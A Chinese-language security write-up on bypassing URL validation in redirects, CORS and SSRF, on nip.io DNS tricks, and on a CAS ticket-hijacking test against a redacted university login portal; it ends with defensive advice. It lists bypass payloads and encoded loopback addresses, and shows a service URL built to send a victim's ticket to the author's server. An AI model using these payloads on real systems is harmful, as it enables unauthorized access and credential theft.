实战URL校验bypass:浅谈静态DNS解析姿势与CAS票据劫持案例
字数 3370 2025-08-30 06:50:11
实战URL校验Bypass与CAS票据劫持技术详解
一、URL校验机制概述
在Web安全领域,URL校验是防御URL跳转、CORS、PostMessage跨域和SSRF等漏洞的关键环节。本文将系统介绍各类URL校验机制的缺陷与绕过技术,重点讲解静态DNS解析(nip.io)的独特绕过方法,并通过CAS票据劫持案例展示实战应用。
二、常见URL校验绕过技术
1. 仅校验是否包含合法域名
缺陷代码示例:只检查URL中是否包含目标域名
绕过方法:
- 目录混淆:
https://evil.com/trusted.com - 特殊符号:
https://evil.com?trusted.comhttps://evil.com#trusted.com
- 子域名绕过:
https://trusted.com.evil.com
2. 仅校验前缀是否合法
缺陷正则示例:^https?://trusted\.com
绕过方法:
- 特殊符号绕过:
https://trusted.com@hacker.com - 子域名绕过:
https://trusted.com.hacker.com - 适用于:URL跳转、CORS、PostMessage跨域漏洞
3. 仅校验后缀是否合法
绕过方法:
- 特殊符号:同上
- Nginx路由解析:
- 构造URL:
https://attacker.com/trusted.com - Nginx配置将
/trusted.com代理到恶意后端
- 构造URL:
4. 内置内网域名利用
场景:目标系统配置了私有DNS解析(如*.trusted.com解析到内网IP)
方法:寻找并使用目标的内网域名(如http://localhost.trusted.com)
三、SSRF特有绕过技术
1. 本地IP校验绕过
编码方式:
| 攻击类型 | 示例 | 解析结果 |
|---|---|---|
| 八进制编码 | http://0177.0.0.1 | 127.0.0.1 |
| 十六进制编码 | http://0x7f000001 | 127.0.0.1 |
| 十进制编码 | http://2130706433 | 127.0.0.1 |
| IPv6简写 | http://[::] | ::1 |
| IPv4映射IPv6 | http://[::ffff:127.0.0.1] | 127.0.0.1 |
2. 重定向机制绕过
步骤:
- 提供合法URL:
http://attacker.com/redirect.php - 服务端返回302跳转到内网:
Location: http://192.168.1.1/admin
3. 未标准化处理的校验
缺陷正则示例:^https?://.*trusted\.com
绕过方法:
- 域名混淆:
https://fake-trusted.com - 特殊符号:
https://attacker.com?trusted.com
四、静态DNS解析(nip.io)技术
1. nip.io特性
将任意域名按规则解析为对应IP的服务,支持多种IP格式:
- 点分十进制:
192.168.1.1.nip.io - 十六进制:
0xC0A80101.nip.io - 十进制:
3232235777.nip.io
2. 解析示例
127.0.0.1.nip.io→127.0.0.1www.baidu.com.127.0.0.1.nip.io→127.0.0.1
3. 实战应用场景
URL跳转漏洞绕过
- 构造:
https://trusted.com.1.2.3.4.nip.io - 实际解析到
1.2.3.4,但校验匹配trusted.com前缀
CORS漏洞绕过
- 伪造Origin头:
Origin: https://trusted.com.1.2.3.4.nip.io - 后端误判为合法子域名
SSRF漏洞绕过
- 直接访问内网服务:
http://redis.192.168.1.1.nip.io:6379 - 绕过IP黑名单
4. 局限性
- 部分企业网络拦截
*.nip.io域名 - 需要目标服务支持Host头覆盖
- 不支持HTTPS证书验证,需自签名证书
五、CAS票据劫持实战案例
1. 漏洞发现
- 目标:某大学统一身份认证平台(WebVPN服务)
- 观察URL:
http://sso-xxxx-edu-cn-s.webvpn.xxxxx.edu.cn:8888/authserver/login?service=http://test.xxxx.edu.cn/test/ - service参数为内网URL,认证后重定向到该服务
2. 测试过程
-
替换域名测试:
?service=http://www.baidu.com/test/→ 提示"服务未授权" -
测试校验逻辑:
- 后缀测试:
?service=http://www.baudu.com?test.xxxx.edu.cn/test/→ 失败 - 前缀测试:
?service=http://test.xxxx.edu.cn@www.baidu.com/test/→ 成功 - nip.io测试:
?service=http://test.xxxx.edu.cn.nip.io/test/→ 成功
- 后缀测试:
-
实际跳转验证:
- 登录后成功跳转到百度,携带ticket参数:
www.baidu.com/test/?ticket=ST-xxxxxx
- 登录后成功跳转到百度,携带ticket参数:
3. CAS票据分析
ST-763536-CDQgs-...为CAS生成的Service Ticket- 校验流程:
- 应用收到ticket后向CAS的
/serviceValidate接口验证 - CAS校验:
- 票据由CAS颁发给同一service
- 票据未使用且在有效期内
- 应用收到ticket后向CAS的
4. 票据劫持尝试
- 构造恶意URL:
?service=http://test.xxxx.edu.cn@my_vps_ip/test/ - 受害者登录后,ticket发送到攻击者VPS
- Apache日志捕获ticket:
ticket=ST-755166-8JfxJdTBwihzXK... - 尝试使用劫持的ticket访问原始service → 失败
5. 失败原因分析
-
Service-Ticket绑定机制:
- CAS会对service参数做URL规范化
- 去掉userinfo部分(
user@host解析为整体host) - 规范化后的service与注册的不一致会被拒绝
-
Cookie会话隔离+WebVPN双重认证:
- 需要同时绕过WebVPN的Session Cookie和CAS Session Cookie
- 仅获取ticket不足以建立会话
6. 可利用的前提条件
- CAS配置错误,允许不合法service请求验证
- 跳转逻辑错误,可注入带ticket的URL到合法页面
- 服务端使用GET请求中的ticket参数判定用户
- ticket未失效且可多次使用(非标准行为)
- 存在Open Redirect且不校验ticket来源
六、防御建议
1. 针对URL校验
- 实施完整的URL校验:包括协议、完整域名、路径
- 使用白名单而非黑名单
- 对输入URL进行规范化处理
2. 针对CAS安全
- 严格校验service参数,拒绝含特殊字符的URL
- 实施一次性票据机制
- 绑定票据与具体service,拒绝不匹配的验证请求
- 使用HTTPS防止中间人攻击
3. 通用防御
- 定期安全审计和渗透测试
- 保持系统组件更新
- 实施深度防御策略
七、总结
本文系统梳理了URL校验绕过技术体系,重点介绍了静态DNS解析(nip.io)的创新应用,并通过CAS票据劫持案例展示了高级组合攻击手法。安全防御需要从设计层面考虑各种边缘情况,实施严格的正向安全模型而非简单的黑名单过滤。